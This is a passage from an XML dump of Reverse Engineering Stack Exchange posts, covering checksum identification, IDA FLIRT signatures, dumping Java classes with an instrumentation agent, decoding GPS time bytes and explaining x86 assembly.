  <row Id="14668" PostTypeId="1" AcceptedAnswerId="14669" CreationDate="2017-02-16T15:06:21.193" Score="0" ViewCount="149" Body="&lt;p&gt;What I would like to know is whether or not I have sufficient information to determine a particular checksum algorithm being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I have a very large stream of data with many frames of data and their respective checksums. Here is what I know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The data-field (of which the checksum is being computed) for each frame in the stream.&lt;/li&gt;&#xA;&lt;li&gt;The checksum of each packet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is this a sufficient amount of information to determine a checksum algorithm?&lt;/em&gt; I also have many samples so I could try out a particular checksum algorithm on all the samples to see whether/not the algorithm will work in each case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is more information that may clarify things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The length of the data appears to be 2 bytes.&lt;/li&gt;&#xA;&lt;li&gt;The length of the checksum appears to be 4 bytes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="19172" LastEditorUserId="19172" LastEditDate="2017-02-16T15:19:42.997" LastActivityDate="2017-02-16T15:37:28.353" Title="Do I have sufficient information to determine a checksum algorithm?" Tags="|crc|communication|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14669" PostTypeId="2" ParentId="14668" CreationDate="2017-02-16T15:37:28.353" Score="1" Body="&lt;p&gt;In most cases - yes, you probably have enough information to determine the algorithm, especially if the checksum algorithm is standard(just try to compute all well-known 32 bit checksums on some data samples and see if it fits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are some assumptions in this claim:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have many pairs with different data and its checksum&lt;/li&gt;&#xA;&lt;li&gt;You really know all the components of the data on which the checksum is computed and their respective order&lt;/li&gt;&#xA;&lt;li&gt;This is really checksum and not something else&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this case I'd recommend to reverse engineer the software that computes or checks the checksum: if checksum is not standard it is very much easier.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-02-16T15:37:28.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14670" PostTypeId="1" CreationDate="2017-02-16T17:04:45.770" Score="2" ViewCount="883" Body="&lt;p&gt;I have writen a new processor module for M-CORE CPU, now i want to generate FLIRT Signature Files for this cpu. &#xA;the problème is that FLIRT tools like pelf.exe dose not recognize the CPU type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can i do in this case ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; pelf lib/libz.a libz.pat&#xA;Fatal [lib/libz.a] (adler32.c.obj): Unknown processor type 39&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; &#xA;I found a plugin called ida2pat that can generate . Pat file from ida.&#xA;I can generate Sig file from .pat files But i can not use them . when i load a file in ida pro with my new CPU module and try to load the signiture the signiture is empty (I guess that ida is filtring signutures with cpu type ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to tell Sigmake about the CPU type . the sigmake tool has - p option that normally sets the cpu type but i am not able to use it correctly . ida has the same command line switch - p that can be used like this - pmipsel (cpu is mipsel ) . But in sigmake it gives &quot; ill processor id &quot; error. &#xA;i tried using my cpu id defined in the cpu module but ida dose not show the sig file   &lt;/p&gt;&#xA;" OwnerUserId="19073" LastEditorUserId="19073" LastEditDate="2017-02-23T12:24:55.017" LastActivityDate="2017-02-23T12:24:55.017" Title="Creating FLIRT Signature Files for new CPU" Tags="|ida|flirt-signatures|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14671" PostTypeId="2" ParentId="14422" CreationDate="2017-02-16T18:17:35.447" Score="23" Body="&lt;p&gt;The easiest way to get this done is simply by opening the Options -&gt; General -&gt; Disassembly window, and setting the &quot;Number of opcode bytes (Graph)&quot; field to the number of opcode bytes you wish IDA to show you in the both the graph and linear disassembly listing views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the configuration change should look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ys1Og.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ys1Og.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the result of doing that will be similar to what's seen in the following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gnq0H.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnq0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that at most 6 bytes are displayed, and a plus sign is used to indicate a specific opcode contains additional bytes.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-09-27T07:21:27.837" LastActivityDate="2018-09-27T07:21:27.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14675" PostTypeId="1" AcceptedAnswerId="14677" CreationDate="2017-02-17T15:58:55.457" Score="4" ViewCount="8895" Body="&lt;p&gt;I'm trying to RE a Java application that uses an obfuscated loader program to load classes from a second, obfuscated archive-like file. I'm trying to get at these loaded classes for further analysis, but thus far I haven't had any success in figuring out the format of the archive file. Since the classes are loaded into memory anyway, and I used a Java profiler to get a short list of the specific classes and objects that most likely contain what I'm looking for, is there a way to intercept these classes from memory, a core dump, as they're loaded, or through any other means, and inspect/save them? Assume I have full control of the system, and I can stop or modify the program in any way.&lt;/p&gt;&#xA;" OwnerUserId="19187" LastActivityDate="2018-01-21T17:35:23.957" Title="Extracting classes from running JVM" Tags="|java|deobfuscation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14676" PostTypeId="2" ParentId="14675" CreationDate="2017-02-17T17:23:13.100" Score="0" Body="&lt;p&gt;I think the easiest way would be to dump the classes as they are loaded, assuming that you know where the obfuscated classloader is and can edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obfuscated class loader will ultimately have to call ClassLoader.defineClass at some point. If you have the classfile, you can just diassemble it, find all calls to defineClass (or reflection methods that might potentially call defineClass), and insert a logging function before the call to dump the result. You could use &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Krakatau disassembler/assembler&lt;/a&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest risk is if the obfuscated code is using introspection, it could mess things up. For example, the code might compute a checksum of itself, in which case modifying it at all will cause problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case you have two options: 1) find all the introspection checks and remove/modify/mock them out, or 2) modify the JVM itself. The later approach would be completely invisible to the obfuscated code, but is harder to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing to try is to look into the Java Agent interface. I haven't used it myself, so I can't say much about it, but this will potentially let you access all loaded classes at runtime with no code modifications.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-02-17T17:23:13.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14677" PostTypeId="2" ParentId="14675" CreationDate="2017-02-17T17:57:19.747" Score="8" Body="&lt;p&gt;I would recommend using a Java Agent to extract classes from the running JVM instance. An agent is a tool that provides instrumentation capability for an application. Speaking of agents, there are two broad ways they can be developed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In pure java &lt;/li&gt;&#xA;&lt;li&gt;In C/C++ in the form of native agents.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A native agent has more capability than a pure Java agent, but for your purpose it is sufficient. At some point in the execution flow, the class loader has to load and decrypt the encrypted classes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample code is provided below. The agent registers a callback (the &lt;code&gt;transform&lt;/code&gt; method) to be notified whenever a new class is being loaded. Within the callback we simply dump the contents of the class to disk.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.io.*;&#xA;import java.lang.instrument.*;&#xA;import java.security.*;&#xA;&#xA;public class dumper&#xA;{&#xA;  //A java agent must have a premain method which acts as the entry-point&#xA;  public static void premain(String agentArgs, Instrumentation inst)&#xA;  {&#xA;    System.out.println(&quot;agent loaded&quot;);&#xA;&#xA;    // Register our transformer&#xA;    inst.addTransformer(new transformer());    &#xA;  }&#xA;}&#xA;&#xA;class transformer implements ClassFileTransformer&#xA;{&#xA;   // The transform method is called for each non-system class as they are being loaded  &#xA;   public byte[] transform(ClassLoader loader, String className, &#xA;                           Class&amp;lt;?&amp;gt; classBeingRedefined, ProtectionDomain protectionDomain, &#xA;                           byte[] classfileBuffer) throws IllegalClassFormatException&#xA;   {&#xA;     if (className != null)&#xA;     {&#xA;       // Skip all system classes&#xA;       if (!className.startsWith(&quot;java&quot;) &amp;amp;&amp;amp; &#xA;           !className.startsWith(&quot;sun&quot;) &amp;amp;&amp;amp; &#xA;           !className.startsWith(&quot;javax&quot;) &amp;amp;&amp;amp; &#xA;           !className.startsWith (&quot;com&quot;) &amp;amp;&amp;amp; &#xA;           !className.startsWith(&quot;jdk&quot;) &amp;amp;&amp;amp; &#xA;           !className.startsWith(&quot;org&quot;))&#xA;       {&#xA;         System.out.println(&quot;Dumping: &quot; + className);&#xA;&#xA;         // Replace all separator charactors&#xA;         String newName = className.replaceAll(&quot;/&quot;, &quot;#&quot;) + &quot;.class&quot;;&#xA;&#xA;         try&#xA;         {&#xA;           FileOutputStream fos = new FileOutputStream(newName);&#xA;           fos.write(classfileBuffer);&#xA;           fos.close();&#xA;         }&#xA;         catch (Exception ex)&#xA;         {&#xA;           System.out.println(&quot;Exception while writing: &quot; + newName);&#xA;         } &#xA;       }&#xA;     }&#xA;     // We are not modifying the bytecode in anyway, so return it as-is&#xA;     return classfileBuffer;&#xA;   }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a writeup on this process here: &lt;a href=&quot;https://1drv.ms/b/s!Akx1Hfr1ER7pgVv_ixpjTu-G6yer&quot; rel=&quot;noreferrer&quot;&gt;Reversing An Obfuscated Java Malware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="18317" LastEditDate="2017-02-17T18:33:24.523" LastActivityDate="2017-02-17T18:33:24.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14678" PostTypeId="2" ParentId="14116" CreationDate="2017-02-17T18:22:52.623" Score="0" Body="&lt;p&gt;Maybe this helps: &lt;a href=&quot;https://www.andnixsh.com/2015/11/tutorial-how-to-decrypt-encrypted-dll.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.andnixsh.com/2015/11/tutorial-how-to-decrypt-encrypted-dll.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create dump from memory using &lt;code&gt;gcore &amp;lt;path&amp;gt;&lt;/code&gt; command and recover any plain files (.dex, .dll, .mp3, etc) using custom GDB for Android. I'm not sure if you can recover decrypted .so file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom GDB only works on ARM-based devices running Android 4.4.4 and below. If you want to get it work for 5.x.x, you need to bypassing PIE security check but there is a risk of bricking your device. &lt;a href=&quot;https://www.alphagamers.net/threads/guide-bypassing-pie-security-check-android-5-0-up.242363/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.alphagamers.net/threads/guide-bypassing-pie-security-check-android-5-0-up.242363/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19188" LastEditorUserId="19188" LastEditDate="2020-04-03T15:03:14.747" LastActivityDate="2020-04-03T15:03:14.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14679" PostTypeId="1" CreationDate="2017-02-17T19:34:37.957" Score="1" ViewCount="3497" Body="&lt;p&gt;I'm working with an SDK for developing apps that's distributed as an AAR, and has been obfuscated with ProGuard.  I'm just trying to reverse a few things it does.  The classes, methods and variables have been obfuscated, I'm pretty sure with ProGuard.  I've been looking for a toolchain that would give me a better workflow than my current one but can't find what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm doing now:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Created a sample app in Android Studio that calls the things I care about in the SDK&lt;/li&gt;&#xA;&lt;li&gt;Set breakpoints and step into the code I'm interested in&lt;/li&gt;&#xA;&lt;li&gt;Using the Android Studio decompilation (I wasn't expecting it to have that, awesome!), start working out what the different variables, methods, and classes are for and giving them names.&lt;/li&gt;&#xA;&lt;li&gt;Write those names down in an ASCII notes file for reference&lt;/li&gt;&#xA;&lt;li&gt;Go back and forth from my notes to the code, screaming while my brain loses grip on all the mappings I'm trying to keep in my head&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's what I'd like to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run my sample app in Android  Studio, step into the obfuscated bytecode as before&lt;/li&gt;&#xA;&lt;li&gt;As I figure out a method, relabel it in the code browser, have that relabel propagate to all invocations of that method, similar to a &quot;refactor&quot; action in many IDEs&lt;/li&gt;&#xA;&lt;li&gt;Become sane again, see my family, make progress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would think some kind of baksmali / smali parser / smali assembler process should achieve this but I can't find anything out there yet that does it.  &lt;a href=&quot;http://virtuous-ten-studio.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Virtuous Ten&lt;/a&gt; might be able to do it, but it craps out in unclear ways trying to generate smali on my SDK jar.  I get zero smali or java when I run it on my jar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="19009" LastActivityDate="2017-05-26T18:49:01.110" Title="Renaming entitites in obfuscated java bytecode" Tags="|decompilation|android|java|deobfuscation|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14680" PostTypeId="1" AcceptedAnswerId="14691" CreationDate="2017-02-17T20:45:20.937" Score="0" ViewCount="93" Body="&lt;p&gt;I'm trying to interpret a bunch of bytes I'm receiving from a GPS tracker.&#xA;There are 3 sequential bytes that I believe mean hours, minutes and seconds. I recorded timestamps along with the messages I receive and noticed this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;when hour 0: byte 1 in message is 0x30&#xA;when hour 1: byte 1 in message is 0x31&#xA;...&#xA;&#xA;when minute 0: byte 2 in message is 0x30&#xA;when minute 1: byte 2 in message is 0x31&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But some bytes are skipped as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for hours:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hou 10   16          2&#xA;----------------------&#xA;00: 48 - 30 - 00110000&#xA;01: 49 - 31 - 00110001&#xA;02: 50 - 32 - 00110010&#xA;03: 51 - 33 - 00110011&#xA;04: 52 - 34 - 00110100&#xA;05: 53 - 35 - 00110101&#xA;06: 54 - 36 - 00110110&#xA;07: 55 - 37 - 00110111&#xA;08: 56 - 38 - 00111000&#xA;09: 57 - 39 - 00111001 &amp;lt;- jump&#xA;10: 65 - 41 - 01000001&#xA;11: 66 - 42 - 01000010&#xA;12: 67 - 43 - 01000011&#xA;13: 68 - 44 - 01000100&#xA;14: 69 - 45 - 01000101&#xA;15: 70 - 46 - 01000110&#xA;16: 71 - 47 - 01000111&#xA;17: 72 - 48 - 01001000&#xA;18: 73 - 49 - 01001001&#xA;19: 74 - 4a - 01001010&#xA;20: 75 - 4b - 01001011&#xA;21: 76 - 4c - 01001100&#xA;22: 77 - 4d - 01001101&#xA;23: 78 - 4e - 01001110&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for minutes and seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;min  10   16          2&#xA;-----------------------&#xA;00:  48 - 30 - 00110000&#xA;01:  49 - 31 - 00110001&#xA;02:  50 - 32 - 00110010&#xA;03:  51 - 33 - 00110011&#xA;04:  52 - 34 - 00110100&#xA;05:  53 - 35 - 00110101&#xA;06:  54 - 36 - 00110110&#xA;07:  55 - 37 - 00110111&#xA;08:  56 - 38 - 00111000&#xA;09:  57 - 39 - 00111001 &amp;lt;- jump&#xA;10:  65 - 41 - 01000001&#xA;11:  66 - 42 - 01000010&#xA;12:  67 - 43 - 01000011&#xA;13:  68 - 44 - 01000100&#xA;14:  69 - 45 - 01000101&#xA;15:  70 - 46 - 01000110&#xA;16:  71 - 47 - 01000111&#xA;17:  72 - 48 - 01001000&#xA;18:  73 - 49 - 01001001&#xA;19:  74 - 4a - 01001010&#xA;20:  75 - 4b - 01001011&#xA;21:  76 - 4c - 01001100&#xA;22:  77 - 4d - 01001101&#xA;23:  78 - 4e - 01001110&#xA;24:  79 - 4f - 01001111&#xA;25:  80 - 50 - 01010000&#xA;26:  81 - 51 - 01010001&#xA;27:  82 - 52 - 01010010&#xA;28:  83 - 53 - 01010011&#xA;29:  84 - 54 - 01010100&#xA;30:  85 - 55 - 01010101&#xA;31:  86 - 56 - 01010110&#xA;32:  87 - 57 - 01010111&#xA;33:  88 - 58 - 01011000&#xA;34:  89 - 59 - 01011001&#xA;35:  90 - 5a - 01011010 &amp;lt;- jump&#xA;36:  97 - 61 - 01100001&#xA;37:  98 - 62 - 01100010&#xA;38:  99 - 63 - 01100011&#xA;39: 100 - 64 - 01100100&#xA;40: 101 - 65 - 01100101&#xA;41: 102 - 66 - 01100110&#xA;42: 103 - 67 - 01100111&#xA;43: 104 - 68 - 01101000&#xA;44: 105 - 69 - 01101001&#xA;45: 106 - 6a - 01101010&#xA;46: 107 - 6b - 01101011&#xA;47: 108 - 6c - 01101100&#xA;48: 109 - 6d - 01101101&#xA;49: 110 - 6e - 01101110&#xA;50: 111 - 6f - 01101111&#xA;51: 112 - 70 - 01110000&#xA;52: 113 - 71 - 01110001&#xA;53: 114 - 72 - 01110010&#xA;54: 115 - 73 - 01110011&#xA;55: 116 - 74 - 01110100&#xA;56: 117 - 75 - 01110101&#xA;57: 118 - 76 - 01110110&#xA;58: 119 - 77 - 01110111&#xA;59: 120 - 78 - 01111000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you guys know of any encoding like this? Does it make sense? There would be any reason for encoding this way?&lt;/p&gt;&#xA;" OwnerUserId="19190" LastEditorUserId="19190" LastEditDate="2017-02-18T13:13:30.113" LastActivityDate="2017-02-18T16:31:40.627" Title="What is the format of this time?" Tags="|protocol|binary-diagnosis|gps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14682" PostTypeId="1" CreationDate="2017-02-18T01:12:38.507" Score="1" ViewCount="165" Body="&lt;p&gt;Following the question here (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14650/5-questions-on-assembly-syntax-meaning-and-equivalent-in-high-level-code-eg&quot;&gt;3 questions on assembly - syntax, meaning, and equivalent in high level code (eg C++)&lt;/a&gt;), I would like to know for the same x86 code in AT&amp;amp;T syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor $0x20, (%eax) &#xA;and $0x20, %ah &#xA;or $0x20, %dh &#xA;dec (%edi) &#xA;dec %si &#xA;dec %sp &#xA;dec %bp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the implications of the last two lines of code (decrementing stack pointer and base pointer)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the lines of code doing from a higher level perpective? - Eg &quot;Takes an input and outputs a string&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are some Linux commands (that come with distros) that decompile assembly code?  - I have only found downloadable software suggestions thus far.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not a homework question - I am new to assembly. Example code is not from actual code - it's to help me get a better understanding &amp;amp; illustrate my questions. &lt;/p&gt;&#xA;" OwnerUserId="12160" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-02-18T03:05:34.377" Title="3 questions on Assembly - meaning of code, Decompilation in Linux, Higher level perspective," Tags="|assembly|decompilation|linux|binary|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14683" PostTypeId="2" ParentId="14682" CreationDate="2017-02-18T03:05:34.377" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are some Linux commands (that come with distros) that decompile assembly code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are none. You can see this for yourself if you look at the functionality provided by tools in the &lt;a href=&quot;https://www.gnu.org/software/binutils/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNU binutils&lt;/a&gt; collection. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Stack Frames&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On System V i386 systems &lt;code&gt;%esp&lt;/code&gt; and &lt;code&gt;%ebp&lt;/code&gt; are used by the compiler to manage stack frames on the runtime stack (it is the compiler that transforms source code into assembly). Stack frames are created on the runtime stack when functions are called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V Application Binary Interface Intel386 Architecture Processor Supplement&lt;/a&gt;, chapter 3 &quot;Low-Level System Information&quot; section 9 &quot;Function Calling Sequence&quot; (page 37):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;%esp&lt;/code&gt;  &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stack pointer holds the limit of the current stack frame, which is the address of the stack’s bottom-most, valid word. At all&#xA;  times, the stack pointer should point to a word-aligned area.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;%ebp&lt;/code&gt; &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The frame pointer optionally holds a base address for the current&#xA;  stack frame. Consequently, a function has registers pointing to&#xA;  both ends of its frame. Incoming arguments reside in the previous frame, referenced as positive offsets from &lt;code&gt;%ebp&lt;/code&gt;, while local&#xA;  variables reside in the current frame, referenced as negative&#xA;  offsets from &lt;code&gt;%ebp&lt;/code&gt;. A function must preserve this register’s value&#xA;  for its caller&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of a standard stack frame (from the System V Application Binary Interface Intel386 Architecture Processor Supplement, page 36):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/S1Qso.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S1Qso.png&quot; alt=&quot;Standard Stack Frame&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a different diagram of a portion of a process runtime stack (from CSAPP chapter 3 &quot;Machine-Level Representation of Programs&quot;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bvhpK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bvhpK.png&quot; alt=&quot;Stack with multiple frames&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The runtime stack is a region high in a process's virtual memory. For reference, here is a diagram of virtual memory (from TLPI, chapter 6 &quot;Processes&quot;):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/k4hPj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k4hPj.png&quot; alt=&quot;Layout of a Process in Virtual Memory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the implications of the last two lines of code (decrementing stack pointer and base pointer)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code that you have provided is not from a called function, so no stack frame would be created for this code. In other words, no function calls means no stack frame creation. This code would be mapped from an executable ELF binary's &lt;code&gt;.text&lt;/code&gt; section to the &lt;code&gt;text&lt;/code&gt; segment in virtual memory when executed and its process image is created.  This means that in the context of the code you have provided, the statements &lt;code&gt;dec %sp&lt;/code&gt; and &lt;code&gt;dec %bp&lt;/code&gt; are of no consequence since there are no function calls and no stack frames to be managed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the lines of code doing from a higher level perpective? - Eg &quot;Takes an input and outputs a string&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is not much going on here. &lt;code&gt;xor $0x20, (%eax)&lt;/code&gt; is an example of &lt;a href=&quot;http://www.c-jump.com/CIS77/ASM/Addressing/lecture.html#R77_0010_indirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;indirect addressing&lt;/a&gt;, where the value in &lt;code&gt;%eax&lt;/code&gt; is treated as a memory address and whatever is at that address is &lt;code&gt;xor&lt;/code&gt;'ed with the integer value 32. &lt;code&gt;dec (%edi)&lt;/code&gt; results in the value in &lt;code&gt;%edi&lt;/code&gt; being treated as a memory address, and whatever is at that address has 1 subtracted from it. The other statements are just arithmetic performed on values in CPU registers. I am not sure how this sequence of computations would be represented in a high level language.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The best thing you could do for yourself is learn how to create some basic functional assembly code and step through the code with a debugger like &lt;code&gt;gdb&lt;/code&gt; using the &lt;code&gt;stepi&lt;/code&gt; and &lt;code&gt;info registers&lt;/code&gt; commands. This will allow you to see for yourself what happens as a result of each statement. It will also speed up the learning process and deepen your understanding of assembly and virtual memory. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-02-18T03:05:34.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14685" PostTypeId="2" ParentId="14635" CreationDate="2017-02-18T06:37:08.360" Score="1" Body="&lt;pre&gt;&lt;code&gt;mov     eax, dword_5F94E0  // copy the content of dword in eax&#xA;mov     ecx, eax // copy eax in ecx&#xA;lea     edx, [eax+eax*4] // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edx=eax*5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     eax, [edx+edx*8] // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eax=edx*9, i.e. the dword_5F94E0*5*9&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shl     eax, 8 // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eax=eax*256, i.e. the dword_5F94E0*5*9*256&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     eax, ecx // add ecx to eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eax=new eax+dword_5F94E0, i.e. the dword_5F94E0*5*9*256+dword_5F94E0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. dword_5F94E0*11521&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     edx, [eax+eax*2] // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;edx=eax*3, i.e. dword_5F94E0*11521*3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, dword_9FB922[ecx+edx*2] // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;eax=value from array[dword_5F94E0+dword_5F94E0*11521*3*2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. eax=value from array[dword_5F94E0*69127]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, dword_9ECB20[ecx+edx*2] // ??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;irrelevant for this purpose&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     eax, 2C5h // remove 709 from eax&#xA;cmp     eax, 0Dh // compare eax to 13&#xA;ja      short loc_42D480 // jump if eax &amp;gt; 13 (not fired) else fired&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that's a really large array that is being queried to fetch a small value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the most interesting part would be to look in that array to see which indices match the value of 0x2C5+0x0D, since they trigger the &quot;fired&quot; code path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given those, you can work out what value in dword_5F94E0 would access each of those indices, by dividing the index by 